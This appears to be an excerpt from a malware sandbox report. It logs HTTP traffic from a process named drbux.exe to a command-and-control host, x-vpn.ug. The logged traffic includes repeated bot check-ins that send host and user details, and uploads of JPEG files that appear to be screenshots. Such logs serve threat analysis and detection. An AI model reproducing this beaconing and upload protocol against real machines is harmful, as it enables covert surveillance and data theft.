Jul 19, 2021 18:36:11.312097073 CEST	13821	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:11.405628920 CEST	13822	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:11 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
127	192.168.2.6	49881	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:11.624319077 CEST	13822	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:11.723628044 CEST	13862	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:11 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 6 Connection: keep-alive Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
128	192.168.2.6	49882	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:11.629368067 CEST	13823	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7 Host: x-vpn.ug Content-Length: 96499 Cache-Control: no-cache
Jul 19, 2021 18:36:11.629446030 CEST	13823	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 66 38 64 33 33 39 33 35 37 61 63 63 30 64 30 63 35 34 66 37 64 32 30 38 35 30 33 66 64 62 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------7f8d339357acc0d0c54f7d208503fdb7Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:36:11.629617929 CEST	13833	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:36:11.629736900 CEST	13836	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:36:11.712001085 CEST	13839	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:36:11.712083101 CEST	13849	OUT	Data Raw: 6f 0b 6b b2 96 d5 b4 eb 04 bd b0 65 f2 cc 77 53 86 1e 77 46 fd d0 1f 5c 71 e8 6b 8e f2 50 9e 45 3b cb 19 07 1d 2b 9b d8 be fd bf 07 73 a1 d6 47 6d 74 9a 97 8e 74 49 a7 d2 74 d9 25 b8 7d 7e 7b 89 ad e0 1b cc 09 2a 47 b1 9b 1c 85 ca 36 58 80 32 0f Data Ascii: okewSwF\qkPE;+sGmttIt%}~{G6X2J_k}iWw6~i#a^jI''A]WlGD:}4yn?^\|/;=]<-/%7b+></9WIb8.>r-u`
Jul 19, 2021 18:36:11.712183952 CEST	13856	OUT	Data Raw: 29 45 50 98 b4 ea 41 4b 4c 96 14 b4 0a 50 29 88 29 68 a5 14 c9 1c 05 2d 27 6a 51 56 48 e1 4e 1d 69 29 45 34 48 fa 51 49 4b 56 40 e0 69 e0 d3 07 5a 5a a4 4b 25 0d 4e 0d 50 d3 b3 4e e4 b4 49 85 3d 69 a6 04 6e 94 03 8a 70 6a 2c 98 ae d6 c4 46 d7 d0 Data Ascii: )EPAKLP))h-'jQVHNi)E4HQIKV@iZZK%NPNI=inpj,FVGi$g4bv)Q66)M2mP;!ZbE)u6)v1XQ}fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMN
Jul 19, 2021 18:36:11.712281942 CEST	13859	OUT	Data Raw: ac 91 b4 64 2e 20 5d b8 dc 31 d4 60 63 14 c8 bc 4f 68 91 9b 06 d1 ee 9b 49 5d 35 b4 f8 e2 fb 70 f3 c0 69 96 62 c6 53 11 53 f3 0c 00 10 00 0f e2 78 9b ad d3 fa df fe 01 d8 95 2e bf d6 ab fe 09 37 d8 f4 1b 2d 2c 5f 6a b6 1a d4 06 4d 4e 5b 23 08 b9 Data Ascii: d. ]1`cOhI]5pibSSx.7-,_jMN[#@%<\|1Zmc}enod&`R32\.I'kEh..{<^}A@".1.'885\|@/#_{{kiJu@_#^jV_Fd`u[+DRG;8l
Jul 19, 2021 18:36:11.712307930 CEST	13861	OUT	Data Raw: 50 01 45 14 53 d4 03 8a 4a 5a 4a 40 14 a2 92 96 80 0a 5c 51 4b 4c 41 8a 31 40 a2 98 5c 29 c2 9b 4a 0d 02 14 75 a7 0e f4 da 5a 68 42 d1 45 2d 32 45 c5 26 29 40 a5 03 14 ec 03 71 45 29 a4 a0 10 51 49 45 20 0a 5a 29 0d 00 2d 28 a0 51 4c 05 a5 a4 a5 Data Ascii: PESJZJ@\QKLA1@\)JuZhBE-2E&)@qE)QIE Z)-(QL-!uQE74PE)i)i-%-4&)RR!MJ):JZ(SE:K)xJ*J:iA?4j:p5H3NSLZd2\F;5W&QfRdIiLUhx4FEQ6%
Jul 19, 2021 18:36:11.791627884 CEST	13867	OUT	Data Raw: 3b df b3 4e d6 fc 0e 2e f3 e0 ef 83 ed ec ae 26 4b 5b ad d1 c4 ce 01 b9 6c 64 0c d7 95 7c 42 f8 7b 3f 85 2e da ea cc 34 ba 54 8d f2 b7 53 11 fe eb 7f 8d 7d 0b 3d fd d5 c5 b4 b0 b6 83 a9 05 91 0a 12 24 b7 c8 04 63 fe 7a d6 45 d5 b1 d4 f4 5d 55 6e Data Ascii: ;N.&K[ld\|B{?.4TS}=$czE]UnffWIm;Fu 29YXZ)EzR<F"4rpTq^O^E[@1]I1?\|>ks3 6peJR
Jul 19, 2021 18:36:11.791783094 CEST	13870	OUT	Data Raw: 03 ea 2b a3 d3 75 cd 32 cb cc d3 20 d4 ac d2 38 34 67 b4 8a f6 f2 c9 a5 82 59 de e1 65 6f dd 98 dc 94 03 20 6e 4e d9 c0 cd 61 78 82 f2 d2 ff 00 5d 92 e2 cd fc d0 61 89 65 98 2b 2a 4b 2a a0 0c c8 ad ca a1 23 e5 5c 0c 0c 00 14 70 2e 15 66 e6 93 db Data Ascii: +u2 84gYeo nNax]ae+K#\p.f]A77Mmh3`Lgz<$kHn4"O4 0n;=IB7S:0jvAc-l$wLQKcO1hfJOKvv
Jul 19, 2021 18:36:11.965871096 CEST	13921	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:11 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
129	192.168.2.6	49883	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:11.928858042 CEST	13920	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:12.023767948 CEST	13921	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:12 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 6 Connection: keep-alive Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
13	192.168.2.6	49750	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:35:28.011253119 CEST	2378	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7 Host: x-vpn.ug Content-Length: 96499 Cache-Control: no-cache
Jul 19, 2021 18:35:28.011396885 CEST	2378	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 66 38 64 33 33 39 33 35 37 61 63 63 30 64 30 63 35 34 66 37 64 32 30 38 35 30 33 66 64 62 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------7f8d339357acc0d0c54f7d208503fdb7Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:35:28.011617899 CEST	2388	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:35:28.011785030 CEST	2391	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:35:28.089901924 CEST	2391	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:35:28 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>
Jul 19, 2021 18:35:28.090226889 CEST	2394	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:35:28.090792894 CEST	2397	OUT	Data Raw: 6f 0b 6b b2 96 d5 b4 eb 04 bd b0 65 f2 cc 77 53 86 1e 77 46 fd d0 1f 5c 71 e8 6b 8e f2 50 9e 45 3b cb 19 07 1d 2b 9b d8 be fd bf 07 73 a1 d6 47 6d 74 9a 97 8e 74 49 a7 d2 74 d9 25 b8 7d 7e 7b 89 ad e0 1b cc 09 2a 47 b1 9b 1c 85 ca 36 58 80 32 0f Data Ascii: okewSwF\qkPE;+sGmttIt%}~{G6X2J_k}iWw6~i#a^jI''A]WlGD:}4yn?^\|/;=]<-/%7b+></9WIb8.>r-u`
Jul 19, 2021 18:35:28.090929985 CEST	2399	OUT	Data Raw: 7a 4a 28 01 68 14 52 d3 42 10 d1 4b 45 00 25 06 96 8a 00 29 68 a2 80 03 49 4b 41 a6 02 52 1a 5a 29 00 82 83 4e c5 34 d0 01 45 2d 25 00 14 51 45 00 14 51 45 03 01 4b 49 40 a0 42 d1 45 27 7a 00 5a 29 0d 2d 00 14 51 45 00 2d 19 a4 a5 a0 03 bd 2d 25 Data Ascii: zJ(hRBKE%)hIKARZ)N4E-%QEQEKI@BE'zZ)-QE--%-11KEQK@Z(ESR-0aEP!ii)JZ`--%tp4ZbcL6$QiwB1b;u850D&#IVr.;*`cKEJb#+1!RbRS%R@(hR
Jul 19, 2021 18:35:28.091006041 CEST	2402	OUT	Data Raw: 01 f6 e9 8a 5d 33 e1 6e 93 62 e6 6b d9 e5 bd 65 19 08 c3 62 7e 20 72 7f 3a f3 b9 32 fe 5b f3 4a fd bf a4 7a 3c f9 87 35 b9 63 6e ff 00 d3 38 5f 1f eb 36 3a e7 88 52 ef 4f 98 cb 08 b7 54 2c 50 af 20 b7 62 07 a8 af 3d f1 37 fc 83 63 ff 00 ae c3 f9 Data Ascii: ]3nbkeb~ r:2[Jz<5cn8_6:ROT,P b=7c_6??z5K<U\Rl%.(PDK?v+ q>kt~<Qr7v 1;_VO%zF=E:wyzZNQEc
Jul 19, 2021 18:35:28.091267109 CEST	2405	OUT	Data Raw: bc 25 a4 a7 89 e0 b3 9b 53 96 eb ec 5a a4 16 5a 94 1f 63 da a5 9d 8a e1 1b cc f9 97 72 95 24 85 20 1c 80 7a 55 3f 10 43 a1 cf e1 f6 d5 ad a5 9b ed d2 ea b3 db 80 ba 7c 76 f1 94 45 8f 0b b5 24 2a a0 03 9c 85 c9 24 83 ea 72 67 f1 36 bd 71 2d b4 b2 Data Ascii: %SZZcr$ zU?C\|vE$*$rg6q-_'o<w+"DyPeaST}.nZ,$8+sgi5<MOcSkxn(a,Qa2YG4\A!h\Idx;XmF6FM~\|P
Jul 19, 2021 18:35:28.091408968 CEST	2408	OUT	Data Raw: 29 45 50 98 b4 ea 41 4b 4c 96 14 b4 0a 50 29 88 29 68 a5 14 c9 1c 05 2d 27 6a 51 56 48 e1 4e 1d 69 29 45 34 48 fa 51 49 4b 56 40 e0 69 e0 d3 07 5a 5a a4 4b 25 0d 4e 0d 50 d3 b3 4e e4 b4 49 85 3d 69 a6 04 6e 94 03 8a 70 6a 2c 98 ae d6 c4 46 d7 d0 Data Ascii: )EPAKLP))h-'jQVHNi)E4HQIKV@iZZK%NPNI=inpj,FVGi$g4bv)Q66)M2mP;!ZbE)u6)v1XQ}fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMN
Jul 19, 2021 18:35:28.091480970 CEST	2410	OUT	Data Raw: b9 aa 50 ea 8f 4e 86 2e 32 d0 c4 29 51 95 ad 03 0e 0f 4a 82 48 b1 5c 92 a7 63 ba 35 13 30 3b d5 9b 00 1b 52 b5 0d d0 cc 80 fe 62 ab 53 91 cc 72 2b af 0c a4 11 5e 63 57 56 3d 16 ae ac 7a 99 c1 04 1e 86 ba 3d 27 36 fe 09 be 78 cf ef 25 bc 58 a4 23 Data Ascii: PN.2)QJH\c50;RbSr+^cWV=z='6x%X##V.b3Cxl{[[*R:0aU9AFz?U52Y\|;ct}>_O:8A#HXf{X2&6^m\|c^h

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
130	192.168.2.6	49884	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:12.605684996 CEST	13922	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:12.700720072 CEST	13922	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:12 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 6 Connection: keep-alive Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
131	192.168.2.6	49885	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:12.724966049 CEST	13923	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7 Host: x-vpn.ug Content-Length: 96499 Cache-Control: no-cache
Jul 19, 2021 18:36:12.724970102 CEST	13923	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 66 38 64 33 33 39 33 35 37 61 63 63 30 64 30 63 35 34 66 37 64 32 30 38 35 30 33 66 64 62 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------7f8d339357acc0d0c54f7d208503fdb7Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:36:12.724984884 CEST	13933	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:36:12.725718975 CEST	13936	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:36:12.808897018 CEST	13939	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:36:12.809154034 CEST	13941	OUT	Data Raw: 6f 0b 6b b2 96 d5 b4 eb 04 bd b0 65 f2 cc 77 53 86 1e 77 46 fd d0 1f 5c 71 e8 6b 8e f2 50 9e 45 3b cb 19 07 1d 2b 9b d8 be fd bf 07 73 a1 d6 47 6d 74 9a 97 8e 74 49 a7 d2 74 d9 25 b8 7d 7e 7b 89 ad e0 1b cc 09 2a 47 b1 9b 1c 85 ca 36 58 80 32 0f Data Ascii: okewSwF\qkPE;+sGmttIt%}~{G6X2J_k}iWw6~i#a^jI''A]WlGD:}4yn?^\|/;=]<-/%7b+></9WIb8.>r-u`
Jul 19, 2021 18:36:12.809289932 CEST	13944	OUT	Data Raw: 7a 4a 28 01 68 14 52 d3 42 10 d1 4b 45 00 25 06 96 8a 00 29 68 a2 80 03 49 4b 41 a6 02 52 1a 5a 29 00 82 83 4e c5 34 d0 01 45 2d 25 00 14 51 45 00 14 51 45 03 01 4b 49 40 a0 42 d1 45 27 7a 00 5a 29 0d 2d 00 14 51 45 00 2d 19 a4 a5 a0 03 bd 2d 25 Data Ascii: zJ(hRBKE%)hIKARZ)N4E-%QEQEKI@BE'zZ)-QE--%-11KEQK@Z(ESR-0aEP!ii)JZ`--%tp4ZbcL6$QiwB1b;u850D&#IVr.;*`cKEJb#+1!RbRS%R@(hR
Jul 19, 2021 18:36:12.809417009 CEST	13947	OUT	Data Raw: 01 f6 e9 8a 5d 33 e1 6e 93 62 e6 6b d9 e5 bd 65 19 08 c3 62 7e 20 72 7f 3a f3 b9 32 fe 5b f3 4a fd bf a4 7a 3c f9 87 35 b9 63 6e ff 00 d3 38 5f 1f eb 36 3a e7 88 52 ef 4f 98 cb 08 b7 54 2c 50 af 20 b7 62 07 a8 af 3d f1 37 fc 83 63 ff 00 ae c3 f9 Data Ascii: ]3nbkeb~ r:2[Jz<5cn8_6:ROT,P b=7c_6??z5K<U\Rl%.(PDK?v+ q>kt~<Qr7v 1;_VO%zF=E:wyzZNQEc
Jul 19, 2021 18:36:12.809469938 CEST	13949	OUT	Data Raw: bc 25 a4 a7 89 e0 b3 9b 53 96 eb ec 5a a4 16 5a 94 1f 63 da a5 9d 8a e1 1b cc f9 97 72 95 24 85 20 1c 80 7a 55 3f 10 43 a1 cf e1 f6 d5 ad a5 9b ed d2 ea b3 db 80 ba 7c 76 f1 94 45 8f 0b b5 24 2a a0 03 9c 85 c9 24 83 ea 72 67 f1 36 bd 71 2d b4 b2 Data Ascii: %SZZcr$ zU?C\|vE$*$rg6q-_'o<w+"DyPeaST}.nZ,$8+sgi5<MOcSkxn(a,Qa2YG4\A!h\Idx;XmF6FM~\|P
Jul 19, 2021 18:36:12.809690952 CEST	13952	OUT	Data Raw: 29 45 50 98 b4 ea 41 4b 4c 96 14 b4 0a 50 29 88 29 68 a5 14 c9 1c 05 2d 27 6a 51 56 48 e1 4e 1d 69 29 45 34 48 fa 51 49 4b 56 40 e0 69 e0 d3 07 5a 5a a4 4b 25 0d 4e 0d 50 d3 b3 4e e4 b4 49 85 3d 69 a6 04 6e 94 03 8a 70 6a 2c 98 ae d6 c4 46 d7 d0 Data Ascii: )EPAKLP))h-'jQVHNi)E4HQIKV@iZZK%NPNI=inpj,FVGi$g4bv)Q66)M2mP;!ZbE)u6)v1XQ}fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMN
Jul 19, 2021 18:36:12.809959888 CEST	13955	OUT	Data Raw: b9 aa 50 ea 8f 4e 86 2e 32 d0 c4 29 51 95 ad 03 0e 0f 4a 82 48 b1 5c 92 a7 63 ba 35 13 30 3b d5 9b 00 1b 52 b5 0d d0 cc 80 fe 62 ab 53 91 cc 72 2b af 0c a4 11 5e 63 57 56 3d 16 ae ac 7a 99 c1 04 1e 86 ba 3d 27 36 fe 09 be 78 cf ef 25 bc 58 a4 23 Data Ascii: PN.2)QJH\c50;RbSr+^cWV=z='6x%X##V.b3Cxl{[[*R:0aU9AFz?U52Y\|;ct}>_O:8A#HXf{X2&6^m\|c^h
Jul 19, 2021 18:36:13.115529060 CEST	14022	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:13 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
132	192.168.2.6	49886	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:12.889003992 CEST	13962	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
